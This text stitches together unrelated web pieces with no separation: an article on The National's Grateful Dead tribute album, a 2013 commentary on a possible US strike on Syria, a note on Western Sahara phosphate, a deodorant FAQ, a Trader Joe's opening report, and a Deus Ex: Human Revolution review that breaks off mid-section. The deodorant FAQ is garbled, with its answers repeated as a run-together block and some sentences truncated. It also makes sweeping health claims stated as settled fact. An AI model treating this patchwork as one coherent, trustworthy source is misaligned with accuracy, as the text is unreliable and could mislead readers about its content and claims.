Cohen and Kaufman joined Weir again on August 3, 2012 at TRI Studios to commemorate Jerry Garcia’s 70th birthday at the Moves Me Brightly concert. The peak of 2012’s Jerry Garcia week, the full 263-minute show streamed free on demand that summer, and was released on DVD the following year. Although The National members et al from the Bridge Session did not participate in Moves Me Brightly, the idea was the same: bridge Haight hippie elders with East Coast successors more likely to be tagged “hipsters” (Cass McCombs or The Hold Steady’s Craig Finn and Tad Kubler for instance). And once again a Yellowbird was the bandleader, Cohen this time. (Watch Weir with Cohen, Kaufman, Vampire Weekend’s Chris Tomson, Jonathan Wilson, former Grateful Dead/Jerry Garcia Band vocalist Donna Jean Godchaux, Further’s Joe Russo and Jeff Chimenti, Phish’s Mike Gordon, Black Crowes’ Adam McDougall, Neal Casal, Jim Lauderdale, Jon Graboff and Harper Simon play set closer “Franklin’s Tower” below.)
The National’s tribute album took a major turn the following year. Referring to the project as “Dead Hot,” National frontman Matt Berninger revealed to Billboard at Bonnaroo 2013 that the Dessner brothers “approached the remaining members of the Dead and asked them if they were into that idea and they’ve given us…full rights to use all the [Dead] music and everything like that. They’re very into [the idea] of the project.”
“We’re just getting going this summer, probably, and a bunch of friends in bands, and then some surprising guests, are gonna hang out and smoke a lot of pot and record Grateful Dead songs,” Dessner added. “Bryan and Scott were the Deadheads.”
Aaron Dessner revealed more details in a Relix interview later that summer:
“We’ve done a lot of work talking to various artists and laying the groundwork. It is kind of an ambitious project both because of the legacy and the material. We are obsessed enough with the Grateful Dead that it is kind of a monumental idea.”
“How do you even skirt the surface of it? We are about to dive in in a major way. We listen to the Grateful Dead a lot on tour, mainly because Scott is the DJ on the bus, and he is obsessed.”
“There are all kind of corners of the musical world that are deeply influenced by the Dead that one wouldn’t expect. Lee Ranaldo is a crazy Deadhead. So that was part of the idea but I think it is broader than that now. Jerry Garcia was a total cat.”
Aaron also confirmed the involvement of members of Vampire Weekend, The War on Drugs, Bon Iver, The Walkmen and Kurt Vile.
Also that summer, Weir sat-in during “Terrible Love” in The National’s set at San Francisco’s Outside Lands on the anniversary of Jerry Garcia’s death. Later that month Bryce and Matt discussed the project with radio.com in their most in-depth interview to date on the band’s relationship to the Dead. Matt focused on his personal change of attitudes towards the hippie icons over the years:
“Everybody in the band [is a Deadhead]. I’m the least… In college I was like a, whatever, ‘alternative rock snob,’ for me it was the Smiths and R.E.M. and all that other stuff. I defined myself by being into College rock bands. But now, eventually you start to lose your snobbery and I’ve learned to love The Dead, which I didn’t think I would back then…I went to a liberal arts college — Miami University of Ohio — I went there for two years. I loved the school but there was the whole sort of frat culture of basically young rich kids trying to pretend they’re poor and stinky, reliving the ’60s and romanticizing that whole thing. I remember I found that annoying. So I think that’s why. It ruined reggae for me, too…”
Bryce elaborated on the nature of the tribute:
“Scott is our resident DJ and he has really diverse music taste, but for some reason now it is 110% Dead only. That’s what we listen to on the bus and back stage. Which is awesome, but sometimes you’re like, ‘Come on Scott, give us some New Order or something.’
I definitely think that the long-form kind of jam thing that The Dead explored so deeply — and also the way that people got into that, there’s a complexity in their music, especially say with the way Jerry Garcia plays guitar — that absolutely it has some correlation with more composed concert music. The repetition of the minimalists — I think there’s a certain kind of modal behavior in the way they use scales and things that would maybe would have some relation.
One thing that we’re looking at with this idea of doing a Dead tribute is just sort of examining who are unlikely fans of The Dead, and one person I would say is a composer name David Lang is a really important kind of post-minimalist composer — he won the Pultizer prize a couple of years ago — he’s like a massive Dead fan.
When we mentioned we were doing it, people actually started coming to us. We know close friends of ours like Justin Vernon of Bon Iver, someone we’ve jammed Dead tunes with so that was obvious. The band Fucked Up wrote to me, so that was surprising. Lee Renaldo from Sonic Youth is a big Dead fan that was kind of surprising.”
Matt discussed the project again with radio.com in March 2014:
“The wheels are in motion and a lot of songs from different people have been coming in and they are all lots of closet Dead fans out there in the indie rock world. So, yeah, I think it’s going to be a really cool record.
When they [the surviving members of the Dead] found out this was happening they kind of opened their archives and sent these giant box sets. They sent like 50 box sets to us to give to all these potential artists. So all these Grateful Dead geeks were getting these personalized, giant box sets of their entire catalog. It made a lot of people’s day. They’ve been very, very cool about the whole project and they’ve been really excited about it. That’s just kind of a surreal thing in itself.”
Among the unsuspected fans of the Dead is Yo La Tengo’s Ira Kaplan, a long-professed Head who cites Live/Dead as one of his favorite albums:
“Even when I was going to CBGBs to see bands I never felt like I really belonged anywhere. One of the things I liked about Television is that they reminded me of the Grateful Dead. I listened to them a lot when I was young. I heard Live/Dead long before I ever heard ‘Sister Ray’. ‘Dark Star’ was my introduction to something that could develop over a long period of time so that record was just really magical to me.”
In part the compilation summarizes the state of Dead songs covered live by bands not necessarily expected to do so. The War on Drugs cover “Touch of Grey” on the tribute for instance, as they have in concert. The night Bob Weir sat in with Wilco during 2013’s Americanarama tour stop at Shoreline Amphitheatre is on the comp, as are Real Estate, who covered “He’s Gone” at the Fillmore in San Francisco on Jerry Garcia’s birthday in August 2014. Likewise The National covered “Peggy-O” at last year’s Treasure Island for Bob Weir’s birthday.
At the heart of the tribute album are recordings from an all-star gathering at Hudson Valley’s Dreamland Studios – a converted Church near Woodstock – during the blistery February of 2015 (photos and more details here). “I’ll show you snow and rain,” The National instagramed, quoting “Bird Song” in reference to that day’s weather. The core band – the two pairs of brothers from The National, Sam Cohen, Josh Kaufman, Walter Martin and Conrad Doucette – was the same as the super group that played behind Weir at the 2012 Bridge Session, plus Bryce. They were joined by a revolving door of talent: Lee Ranaldo, Ira Kaplan, Cass McCombs, Sam Amidon, Will Oldham/ Bonnie ‘Prince’ Billy, Kristian “The Tallest Man on Earth” Matsson, and the most trusted name in Dead covers: Joe Russo of Furthur and Joe Russo’s Almost Dead (as well as Benevento/Russo Duo, the Gene Ween Band, and many other groups). “It was really powerful to see Ira and Lee bring such soul and care to their performances,” Aaron told Relix. “For them, it’s not just learning a cover. It’s a musical gospel—getting into the fabric of the music in tangible ways. It’s made us come back to this music because, though we’ve always listened to the Dead, we’ve gotten away from it and gone on other musical journeys. The goal is to create a powerful, beautiful, charitable vehicle.”
“There’s a cohesiveness to the songs we recorded with our various comrades in these Upstate New York churches,” Aaron continued. “So, at the heart of this record are more than 30 songs that were played in a very live way with this beautiful sound. We tried to capture this feel— these inspired performances by different vocalists and soloists playing with a group of people who have played together for many years. We tried to get other groups of people together who also had that kind of chemistry, so some sessions happened in Eau Claire, Wisc., where Justin Vernon has his studio and his group—his musicians—that he grew up with. They have a similar story to us.”
“The stuff we did was obviously great,” Bryan joked to Stereogum in November 2015. “Some of the interpretations of the songs, you hear it, and you go, ‘My god, this is fucking killer.’” Scott added, “the stuff we did is very consistent musically, leaning more towards the originals” referring to the two dozen or so tracks cut at Dreamland and contrasting them with the contributions of other bands recorded separate. “Some of the covers are really out there and totally different.”
Among those that wildly stray from the Dead are Unknown Mortal Orchestra’s Prince-like “Shakedown Street” and The Flaming Lips’ “Dark Star” cover – one of two versions of the live Dead staple on the tribute – described by Wayne Coyne as “space-funk, skronk bliss, hip-hop-hippy drop, fucked up.”
As increasing amount of bands contributed to the project the logistics of its release became more difficult. “You can’t call it at 30. What 30 tracks?” Aaron explained to Stereogum. “It’s almost like, for some of these songs, making an album in itself. But it’s fun — [the Dead] made some good studio records but it wasn’t their thing. So, to actually shine a light on these things, and to do it with a lot of care and to see how excited all these musicians are … literally, there’s everyone. I mean, you’d be shocked at all the people.”
Aaron discussed how it all came together in the February 2016 issue of Uncut magazine. Titled Day of the Dead, the tribute is planned for an April 2016 release by The National’s label, 4AD (presumably it will be issued by The Red Hot Organization licensed to 4AD Ltd, as Dark Was Night Night was before it). “It’s about 70 tracks long now,” Aaron confirmed. “We were calling it Day of the Dead, but now we might call it Days of the Dead. The idea is to be very expansive, because I think for people who really know the Dead and know this music, even 70 songs feels light. I could name 20 off the top of my head that I’m disappointed we didn’t record.”
The Dessner brothers have since announced a one-off all-star tribute performance called ‘Day of the Dead’ at this year’s Eaux Claires festival. Based on that, Day of the Dead – singular – is seems to be the title they settled on. Artists confirmed in the interviews cited above, on social media by those involved with the sessions or by Rolling Stone’s Will Hermes (in a series of tweets on February 9, 2016 that have since been deleted) are listed below:
The tracks labeled “…and friends” feature the core band – the two pairs of brothers from The National, Sam Cohen, Josh Kaufman, Walter Martin and Conrad Doucette. The National teamed with members of Grizzly Bear for a very special selection. “We used to joke about starting a Dead cover band with our friends from Grizzly Bear,” Aaron explained to Relix, “so we have Daniel Rossen, Christopher Bear and Ed Droste and some of us on the full “Terrapin” suite. Bryce added some orchestration to the song because it’s this ornate, baroque, progressive rock song. It’s a more serious undertaking than just jamming out.” The collection runs nearly five and a half hours according to Hermes, and includes the Dead’s standards but doesn’t stop there. “We included songs like “Rosemary” and “What’s Become of the Baby,” Bryce revealed to Relix last year.
Just peeped the absolutely SIIIIIIIIIIICK playlist for this forthcoming Grateful Dead tribute. It's 5hrs 28min long. #WhoaDude — Will Hermes (@WilliamHermes) February 9, 2016
As for its release, Aaron opined to Relix “the most Grateful Dead way” would be through an app. “I remember getting One from the Vault and the ‘Dick’s Picks’ releases and just studying them. Nobody could play like Jerry Garcia— even if you thought you could or tried to emulate him.”
The hope of releasing it on vinyl was first revealed by Relix. Aaron has since updated Uncut on those plans:
“Out intent is to have it available digitally, then a very elaborate vinyl edition – a special order, not the kind of thing you’ll find in a record store. It’ll be 10 or 11 vinyl albums. There’s mixing to do, and some last minute performances. But the heavy lifting is done. I’ll go on a four-hour drive and get through half of it!”
“The Dead’s music was essentially a blend of all these different things,” Aaron told Relix. “There’s obviously a lot of theory not only in Phil Lesh’s playing but also in Bob Weir’s. There was a lot of modal stuff, and in a way, it had as much to do with jazz as it does with rock or roots music. We always thought that was really fascinating.”
The political and military consequences of the presumed chemical-weapons attacks in Syria on 21 August 2013 are continuing to unfold. Three days after the incident in Ghouta, on the eastern outskirts of Damascus, a strong possibility had emerged that the United States president would order a punitive assault on a symbolic target of especial importance to Bashar al-Assad's regime. The choice might be to fire cruise-missiles against a security headquarters or command-centre in Damascus, or even the ministry of defence; this would be a warning to the regime that any further use of chemical weapons would ensure a far more destructive response (see "Syria: days of decision", 24 August 2013).
This potential route carried little chance of putting the regime's actual survival at risk, not least because the growing power of extreme Islamist paramilitaries among the rebels meant that Washington was at this stage seeking transition rather than regime termination.
A day later, on 25 August, the momentum towards an early attack was stalled when Damascus surprisingly accepted the demand that United Nations inspectors already in the country be allowed to examine the vicinity of the chemical-weapons operation. Yet within another forty-eight hours, the outlook had changed again, as the potential for a much more extensive bombing campaign against Syria's regime moved centre-stage.
The neocon echo
The signs of a shift included US secretary of state John Kerry's vigorous condemnation of the Assad regime, including near explicit blaming of it for the chemical-weapons attack; both content and tone seemed part of an effort to prepare the American public for war. In addition, the Wall Street Journal reported that Barack Obama's administration had sought, and failed, to get the UN to withdraw the inspectors - thus opening the way for early military action (see Gareth Porter, “In Rush to Strike Syria, US Tried to Derail UN Probe”, IPS/TerraViva, 28 August 2013). The tough rhetoric from the British and French governments - and UK prime minister David Cameron's recall of parliament from its summer recess - also fitted the mood.
It seemed that the Obama administration had changed stance, even to be veering towards the more hawkish views of Syria held by still influential neo-conservative elements (see Jim Lobe, “US Neocons take flight over Syria”, IPS/TerraViva, 28 August 2013). They demand that the United States pursue a two-pronged strategy: undertaking major military operations with the aim of ending the Assad regime, while supporting “acceptable” rebels sufficient to ensure that the Islamist radicals would be sidelined in a post-Assad Syria (see Daniel Halper “Experts to Obama: Here's What To Do In Syria”, Weekly Standard, 27 August 2013).
The result, from this perspective, would be a pro-western Syria that would severely constrain Iranian influence in the region and end any notion that a "Shi'a crescent" could be established - from the Mediterranean to the Indian Ocean, through Lebanon, Syria, Iraq and Iran. This is akin to the neo-con dream of 2001-03, which believed that regime termination in Iraq would form the western counterpart of a pincer against Iran, complementing Afghanistan's role to the east.
The test of this change in the Obama administration's posture will be the nature of the forthcoming US military operation. If it is indeed limited to a symbolic strike, as seemed probable on 24 August, then the function will have been primarily deterrence. If it involves, for example, a series of attacks that starts to degrade the regime's ability to subdue the rebellion, this would indicate a transformative ambition - closer to the outlook of the George W Bush administration in 2001-03.
The latter choice would pose the question of where this change in the Obama administration's outlook had come from. A plausible answer is that on current trends the administration foresees a long-term violent stalemate in Syria that leads to the country's fragmentation, leaving large areas under the control of extreme jihadist groups. If that is its view, the chemical-weapons controversy might provide a means to hasten Assad's end and avert this outcome.
Yet both this more ambitious approach, and a limited use of cruise missiles or other stand-off weapons, would be very risky. For even a one-off attack will transform the nature of the war, much more than training or supplying arms to rebel forces. The civil war, already a proxy one involving foreign allies and backers on both sides, will have been directly internationalised, and after such action there will be no way back.
The reverse view
It may still be difficult for governments in Washington, London and Paris to recognise this. They might do by recalling a crucial aspect of the Iraq experience. In 2002, the Saddam Hussein dictatorship had little or no support across the middle east. The leader was widely regarded as a pariah, with the al-Qaida movement regarding his regime as a hated part of the “near enemy”.
But when Iraq was attacked and the regime overthrown, many in the region saw the United States and its western partners as the aggressors. This position was reinforced strongly when it became clear by the end of 2003 that the US was seeking Israeli aid in controlling the unexpected urban insurgency it now faced.
It may seem far-fetched to think that western military action against the Assad regime, when the latter is already being opposed by paramilitaries linked to the al-Qaida movement, could create the same realignment of views. Yet that is indeed the likely result.
Furthermore, it is all too easily forgotten in these capitals that any US action against Syria will not actually be the first external use of force. There have already been three sets of air-strikes, conducted in each case by Israel. Thus, it will be easy to characterise any fresh western attack as part of yet another Crusader-Zionist conspiracy. This may not seem rational or logical in western capitals, but that itself stems from a failure to recognise the reality of how their conduct is viewed by very many people in the middle east.
If you haven't heard of Western Sahara, it's because the "non-self-governing territory," to use U.N. parlance, has been occupied by Morocco for several decades. There's a reason that Morocco doesn't want to let go. It currently controls 85 percent of the world's reserves of phosphate rock, some of which actually lies in Western Sahara.
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And phosphate happens to be a key element in every living thing on earth. Fertilizer made from phosphate rich rocks are necessary to grow nearly every crop; it underlies the bread we eat, the corn ethanol we use to fuel our cars. It is likely that there are phosphorus atoms in your DNA that came from food which, in turn, came from fertilizer that originated as phosphate rock along this conveyor belt.
As infrastructure, conveyor belts are a handy means of transporting continuous streams of ore through roadless terrain. When operating, this conveyor belt can shuttle 2,000 metric tons of rock per hour from the mines of Bou Craa to the port city of El-Aaiun, where cargo ships full of phosphate rock depart for ports around the world. Wind has strewn phosphate dust all around the belt, resulting in a curious white streak on satellite images.
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Bou Craa is a large Moroccan-controlled mine in Western Saharam, but much of the region's phosphate reserves actually remain untapped. As other big producers such as the U.S. and China actually ramp down production due to dwindling reserves, this oft-forgotten piece of land will become increasingly valuable to the world. Political instability in this occupied territory could easily ripple into price increases for the global food supply. A 2011 protest inside Morocco, for example, blocked a railway linking phosphate mines and fertilizer plants.
From photos and satellite images, this conveyor belt in Morocco looks distant and isolated. But in reality, it is the first stretch in a long phosphate chain that eventually makes it way to us. Break it and we, sitting thousands of miles away, will likely feel the consequences. [Amusing Planet, The Sieve]
Are commercial deodorants dangerous - do they contain toxins?
No. Commercial deodorants are not dangerous and do not contain toxins.
But what about ingredients that are suddenly discovered to be a health risk?
But isn't it true that mistakes are made and some people do get hurt because of it? Yes, mistakes happen, but they are very few and far between. The cosmetics regulatory systems are set up to ensure that only safe ingredients are used for any personal care product. Regardless of what scaremongers would have you believe, there isn't a cosmetics company on the planet looking to create health or environmental problems as a result of their products being produced or used.
ALLERGIES AND PERFUMES IN DEODORANTS
Are there ingredients in commercial deodorants that people react to? If any ingredient is found questionable as a possible health risk, it is thoroughly tested and the product is either reformulated or taken off market. Testing is done by neutral, professional organizations that have no other interest than to discover whether or not the ingredient can be pronounced safe.Yes, mistakes happen, but they are very few and far between. The cosmetics regulatory systems are set up to ensure that only safe ingredients are used for any personal care product. Regardless of what scaremongers would have you believe, there isn't a cosmetics company on the planet looking to create health or environmental problems as a result of their products being produced or used.
There can be. It's comparative to food. Some people can 'eat anything' without issue while others may have allergies to certain foods. A commercial deodorant (or other cosmetic) may contain ingredients some are allergic to. For example, some perfume components are listed as possible allergens.
So, perfumes can cause allergies?
- a single component,
- a particular combination of components in a particular perfume
- a mix of perfume components and other ingredients in the product
- a combination of ingredients in the product with any consumed ingredients
So, how can I stay away from ingredients that cause allergies? 'Less is more' is a good guideline. Start by cutting some of the unknowns out of the equation by choosing perfume-free deodorant. You can also shop for deodorants (and other products) that are certified allergen-free.
DEODORANT AND ALUMINIUM
Can aluminium in deodorant can cause cancer or other health issues? Aluminium chlorohydrate and Aluminium zirconium tetrachlorohydrate gly – commonly found in deodorants – do not cause cancer, alzheimers, or anything else. There is no factual, tested, or documented evidence of any kind that aluminum salts in deodorant are dangerous.
But doesn't the aluminium in deodorant accumulate in the body over time? There is no evidence of this. Aluminium is the third most abundant mineral on earth and we are exposed to it through food, water, and numerous other ways. As for the aluminum in deodorant: even if you use a deodorant with aluminum every single day of your life, you would still be getting less aluminum from your deodorant than you are otherwise getting naturally from your food and water.
How do aluminium salts work? Aluminium salts work by reacting with the electrolytes in sweat and forming a gel-like substance that plugs the duct of the sweat gland. The natural sloughing off of skin cells removes the plug again.
ALTERNATIVE DEODORANT SOLUTIONS
I prefer using an alternative to commercial deodorant. What do you suggest? Try natural deodorant crystals (also called deodorant stone). The INCI name for this is
How do I use a deodorant stone (potassium alum)? Wet the stone, then apply to clean armpits as if it were a roll-on. It doesn't feel like you are really applying anything, but you are. Be patient when applying and use plenty of water so the stone doesn't 'drag'. My experience has been: the more you apply, the longer the effect.
Is there an effective DIY deodorant solution? Yes and no. If your definition of effective is 24 hour protection with no skin rash or irritation, then the answer is no. If you are one of the few who can tolerate prolonged exposure to sodium bicarbonate (baking soda) without getting a skin reaction, then maybe the answer is yes (some people can use a baking soda deodorant for a very long time before having a reaction to it).
What if I don't want to use anything I can't pronounce or that sounds even remotely 'chemical'? You can try making a DIY clay-based deodorant. Depending on how much you perspire, this deodorant will work anywhere from 3-9 hours.
DIY BAKING SODA DEODORANT
Is it true you have to go through a detox period when you switch to a 'natural' (baking soda) deodorant? No. This is absolute hogwash. The so-called detox period is usually described as consisting of rash, redness, itchiness, and irritation in the armpits. These are the exact symptoms described in the safety data sheet for baking soda with prolonged exposure to the skin. If you are experiencing a rash from using DIY baking soda deodorant, you are most definitely NOT detoxing from commercial deodorant - you are reacting to the baking soda.
I have a rash from using a DIY baking soda deodorant. How do I treat it? First: stop using baking soda deodorant immediately. Get your doctor to look at the rash. If you can't get to a doctor right away, you may relieve some of the irritation by misting with pure aloe vera or applying a pure aloe vera gel. Rushing to the doctor may sound like overkill, but I've had some folks write me with very serious reactions that needed immediate medical attention. If you are in even the slightest doubt – see your doctor.
Isn't it a very small minority of people who get rash or irritation from baking soda deodorant? Please visit this post for
How can you be sure the rash I have is from the baking soda? I can't be 100% certain. However, I can tell you I have spent a serious amount of time researching DIY baking soda deodorant. Every single one of the DIY baking soda deodorant recipes I have seen calls for a ridiculously high amount of baking soda. Not a single one of the recipes I have seen has any added ingredient to adjust the pH to a skin-friendly level. The fact of the matter is: baking soda is not made for prolonged direct contact with skin and it will cause a rash and discomfort in most people. It is more than likely that if you have been using a DIY baking soda deodorant, then it is the baking soda that is causing the reaction.
What's the normal pH of baking soda? Normal pH of baking soda is between 8 - 8.5
What's skin-friendly pH? Skin-friendly pH is With prolonged exposure, some perfume components might contribute towards creating an allergic reaction. However, this is an incredibly complicated issue! Perfumes are made of up many many different components. It is nearly impossible to determine whether a reaction is due to- a single component,- a particular combination of components in a particular perfume- a mix of perfume components and other ingredients in the product- a combination of ingredients in the product with any consumed ingredients'Less is more' is a good guideline. Start by cutting some of the unknowns out of the equation by choosing perfume-free deodorant. You can also shop for deodorants (and other products) that are certified allergen-free.Aluminium chlorohydrate and Aluminium zirconium tetrachlorohydrate gly – commonly found in deodorants – do not cause cancer, alzheimers, or anything else. There is no factual, tested, or documented evidence of any kind that aluminum salts in deodorant are dangerous. Read more about aluminum and deodorant here. There is no evidence of this. Aluminium is the third most abundant mineral on earth and we are exposed to it through food, water, and numerous other ways. As for the aluminum in deodorant: even if you use a deodorant with aluminum every single day of your life, you would still be getting less aluminum from your deodorant than you are otherwise getting naturally from your food and water.Aluminium salts work by reacting with the electrolytes in sweat and forming a gel-like substance that plugs the duct of the sweat gland. The natural sloughing off of skin cells removes the plug again.Try natural deodorant crystals (also called deodorant stone). The INCI name for this is potassium alum. It is safe and effective as a deodorant (and is also used for stopping bleeding from shaving cuts), but it does not function as an antiperspirant.Wet the stone, then apply to clean armpits as if it were a roll-on. It doesn't feel like you are really applying anything, but you are. Be patient when applying and use plenty of water so the stone doesn't 'drag'. My experience has been: the more you apply, the longer the effect. There is a post that explains more right here Yes and no. If your definition of effective is 24 hour protection with no skin rash or irritation, then the answer is no. If you are one of the few who can tolerate prolonged exposure to sodium bicarbonate (baking soda) without getting a skin reaction, thenthe answer is yes (some people can use a baking soda deodorant for a very long time before having a reaction to it).You can try making a DIY clay-based deodorant. Depending on how much you perspire, this deodorant will work anywhere from 3-9 hours. Find the formula and a step by step here. And please remember: even pronounceable ingredients are chemical.No. This is absolute hogwash. The so-called detox period is usually described as consisting of rash, redness, itchiness, and irritation in the armpits. These are the exact symptoms described in the safety data sheet for baking soda with prolonged exposure to the skin. If you are experiencing a rash from using DIY baking soda deodorant, you are most definitely NOT detoxing from commercial deodorant - you are reacting to the baking soda.First: stop using baking soda deodorant immediately. Get your doctor to look at the rash. If you can't get to a doctor right away, you may relieve some of the irritation by misting with pure aloe vera or applying a pure aloe vera gel. Rushing to the doctor may sound like overkill, but I've had some folks write me with very serious reactions that needed immediate medical attention. If you are in even the slightest doubt – see your doctor.Please visit this post for an 'almost poll' on how many people get reactions to baking soda deodorant I can't be 100% certain. However, I can tell you I have spent a serious amount of time researching DIY baking soda deodorant. Every single one of the DIY baking soda deodorant recipes I have seen calls for a ridiculously high amount of baking soda. Not a single one of the recipes I have seen has any added ingredient to adjust the pH to a skin-friendly level. The fact of the matter is: baking soda is not made for prolonged direct contact with skin and it will cause a rash and discomfort in most people. It is more than likely that if you have been using a DIY baking soda deodorant, then it is the baking soda that is causing the reaction.Normal pH of baking soda is between 8 - 8.5Skin-friendly pH is between 4.5 - 5.0 . Many skin care products are largely within the range of 4.5 - 5.5.
How do I adjust the pH?
An acidic ingredient (citric acid, etc) that will lower the pH of the entire mixture needs to be introduced to the product. As DIY baking soda deodorants are anhydrous (water-free), you can't introduce any liquids to the mix without also having to add preservatives. In short: there isn't a quick & easy DIY way to do this.
Can't I just swipe my underarms with some apple cider vinegar to balance the pH? I have heard from over 400.000 people who have experienced skin reactions from baking soda deodorant (yes, you read correctly: over four hundred thousand). Among these, there hasn't been a single person who has had luck counteracting the effects of baking soda by adding apple cider vinegar to the equation. If you have had luck with this method, please do leave a comment!
Can't I just use less baking soda in my DIY deodorant? If you have already experienced a reaction to the baking soda, you may still experience irritation even by lowering the amount. If you want to try it anyway, lower the amount of baking soda to UNDER 1% of the product.
My question isn't here! If you have a question that isn't covered, please feel free to leave a comment or write me a mail (contact info on the sidebar) and I'll do my best to answer you and add your question to this list.
If you have a question that isn't covered, please feel free to leave a comment or write me a mail (contact info on the sidebar) and I'll do my best to answer you and add your question to this list.
A crowd formed outside the store entrance at 1109 N. Highland Street this morning, awaiting the scheduled 8:00 opening. Following a brief “lei cutting” ceremony with County Board Vice-Chair Mary Hynes — which was held a bit early so as to not keep people waiting in the cold — shoppers flooded through the double doors and began christening the store with commerce.
‘Crew members,’ decked out in leis, the company’s signature Hawaiian shirts and — in one case — a turkey costume, enthusiastically greeted the first shoppers and began talking up the store’s wares.
“It’s never too early for cheesecake,” said one employee, who was handing out free samples. Hot cider samples, free leis and a reusable gift bag filled with treats were also handed out.
Hynes, meanwhile, used the opportunity to catch up on some shopping.
“I think it’s awesome… it’s great to have another grocery store choice,” she said. “People have been asking for a Trader Joe’s in our community for as long as I can remember.”
Trader Joe’s ‘captain’ (store manager) Perry Zettersten said employees will work hard to try to avoid the long check-out lines that plague the Trader Joe’s location in Foggy Bottom. The store has handheld “line buster” barcode scanners that crew members will be able to use to scan items while customers wait in line. Those customers will receive a receipt that they will then pay at the register. Still, Zettersten said the store’s popularity will make it hard to keep lines from forming.
“We don’t know if we can avoid it,” he said.
I was, and am, a huge fan of the original Deus Ex. In 2001 it was a truly original game and I consider it, easily, my favorite videogame of all time. I’ve played it through maybe five times all together (and a few times I didn’t finish) with strategies varying from soldier, to hacker, to spy, to pacifist, to knife only psychopath (although I had to upgrade to the Dragon’s Tooth towards the end, and I didn’t count a couple of the “boss” type characters which had to be taken down with LAMs or GEP rockets). I can remember some of the original Deus Ex levels so well I could probably reproduce them faithfully from memory.
Invisible War was a forgettable sequel. I remember virtually nothing of the storyline, the character, or the mechanics thereof. I just know that when I finished it, I decided to erase it from my memory and pretend, as a lot of other internet gamers, that it never happened. It was less a Deus Ex game and more a botched product of the then dying Ion Storm (RIP). However, I was encouraged when the pre-release buzz was building for Human Revolution started and the developers seems to have their heads screwed on right, and they acknowledged that Invisible War was a failure. To see my favorite franchise fall short again would be enough to make me lose hope that it could ever be done right again.
So, with that bit of history and personal opinion out of the way, here’s what I thought of the most recent volume of Deus Ex.
Gameplay
As I mentioned, a lot of the pre-release hype convinced me there was hope for the game. Admittedly, some of it made me question the future, but overall I believe most of their choices came off better than I expected.
Augmentations
The first thing I was disappointed in in pre-release was that there were going to be no skills. In the original, you had skills, which were upgraded with experience, and augs, which were found and upgraded using various canisters you had to find throughout the game. Skills included things that you or I could accomplish, stuff like weapons accuracy, melee skill, swimming, hacking, medicine, etc. Augs, just like in the new game, practically gave you super powers.
All in all, I think they combined the two systems well, although they accomplished it partially by stripping the need for a lot of the skills. For example, swimming is moot because there is no water. Medicine is pointless because you regen. Melee is done away with as there are no melee weapons. The remainder of the skills were rolled into augmentations. Lockpicking (although mechanical locks are now unheard of and lockpicks don’t exist), computers, and electronics were all rolled into hacking which is very well represented in the tree with three separate branches. “Environmental Training” was condensed into a rebreather augmentation that lets you resist toxic gas. Weapons skills are now handled all together with an augmentation that increases accuracy while moving.
A lot of the old favorite augmentations came back too, like cloak, and silent running. Dermal armor has taken the place of the shield. Regen is now a built-in augment you have from the start (bolstering the no-health approach of the game, which also rendered the medicine skill moot). I didn’t get the chance to use any of the advanced retinal augments but they sound similar in concept to the original as well.
There were also some cool additions to the augmentations too. The Icarus Landing System lets you jump from any height and take no damage. High enough and you get a neat bubble effect and you can optionally stun everyone around you — although I never got to use that feature. The social augmentation sounded neat to open more dialogue options. You can gain the ability to punch through (some) walls too which is definitely a plus for path finding. Then there’s the neat offensive augmentation, the Typhoon, that allows you to expend Typhoon ammo and cause a shockwave of death. Very cool, although it sucks when used against you =).
Really, I didn’t end up missing skills and the game does fine with just the augmentations.
The XP Problem
I really didn’t like the fact that XP got you augments though. I know they rationalized it in game with the fact that you were somehow “awakening” your augments with experience, but that doesn’t make much sense to me. How does me doing an arbitrary action like finishing a mission suddenly entitle me to the ability to cloak? I understand it’s just a mechanic, but perhaps it would’ve made more sense to have canister-esque items for the baseline augmentations (the things you have to spend two “praxis points” to open up), and then XP would allow you to upgrade within the tree the baseline augments open up? (If you haven’t played the game, this essentially means that you’d have to find a canister to get cloak, but you could upgrade your cloak’s efficiency through XP points).
The core of the problem here is that XP is too easy to get. My first (and only for now) play through was non-lethal stealth. I got XP left and right, hacking systems, completing sidequests, getting bonuses for finding secret ways in. Every takedown (we’ll get to those later) was easy XP. Then you get a massive bonus for getting through a level without triggering an alarm, or getting noticed. To top it off, you can even buy these points for credits!
By the end of the game, my stealth Gandhi had more “praxis points” than I knew what to do with. I ended up spending my last 5 points maxing dermal implants that reduced damage 45% and made me immune to EMP. This on a character that almost never got shot… only because I had literally nothing else worthwhile to spend the points on. I had maxed hacking (the capture and stealth trees, fortify was pointless then), maxed my batteries, maxed cloak, maxed my storage capacity and lifting strength, could run silently and jump nine feet into the air… I can’t count the number of times I’ve gone to the augmentation screen and found, oh wait, I have three points waiting to be spent.
This abundance of augmentations also factors into the game because you no longer have to make any tough choices. In the original game, the canisters each contained two augmentations and you had to choose between the two irrevocably and they had to be installed by a bot so you couldn’t just hang on to the canisters until you decided which was more useful. Some were easy choices just based on your play style (Combat Strength probably isn’t important if you’re going to be shooting people up, for example), but others were very tough. Do I want my augmentations to all take less power (Power Recirculator) or the ability to upgrade one aug on the fly (Synthetic Heart)? Do I want regeneration (energy expensive, but useful for all damage after the fact) or the ability to absorb fire/plasma/energy attacks? In either case you can’t have both. DX:HR doesn’t force you to make these choices. Every augmentation is open for you and you can just carry around three of these praxis points to use at any time. Get to an area with EMP? Oh I guess I’ll just “awaken” my augmentation for EMP immunity. Thanks!
The Pointless Augs
There was also an entire stealth tree that seemed pretty much pointless too, which was disappointing. Mind you, I was playing on the hardest difficulty (although I’m sure some would say I was cheating at it because I turned on the reticle) and it was never an issue to “mark and track” my enemies. You can see them all on the radar, so who cares? I don’t need to know how much noise I’m making… if I’m crouch walking I’m being quiet enough. I don’t need to see the visual range of my enemies because I can see what way they’re facing on radar. It’s saying something that my stealth character made it all the way through the game without a single point in the general stealth tree. There are also some others that seem a bit pointless… like the HUD telling you how long until enemies’ alarmed status ends. Doesn’t really help you at all, since you can see when it ends anyway, it just tells you how long you’re going to have to wait. It’s not like it’s ever more than 30 seconds anyway. I feel like I should point out that the original had some questionable augs too, like Aqualung, Environmental Resistance, Radar Transparency (unless you suck) etc.
Still, the above gripes aside, the augs — although too easy to get and the XP system makes 0 sense — were fun to use and enhanced the gameplay as they should. I would’ve liked to see most of the same augment technologies just with fewer opportunities to get them to add to the challenge. Maybe a sliding XP scale instead of getting praxis points so regularly.
No Health
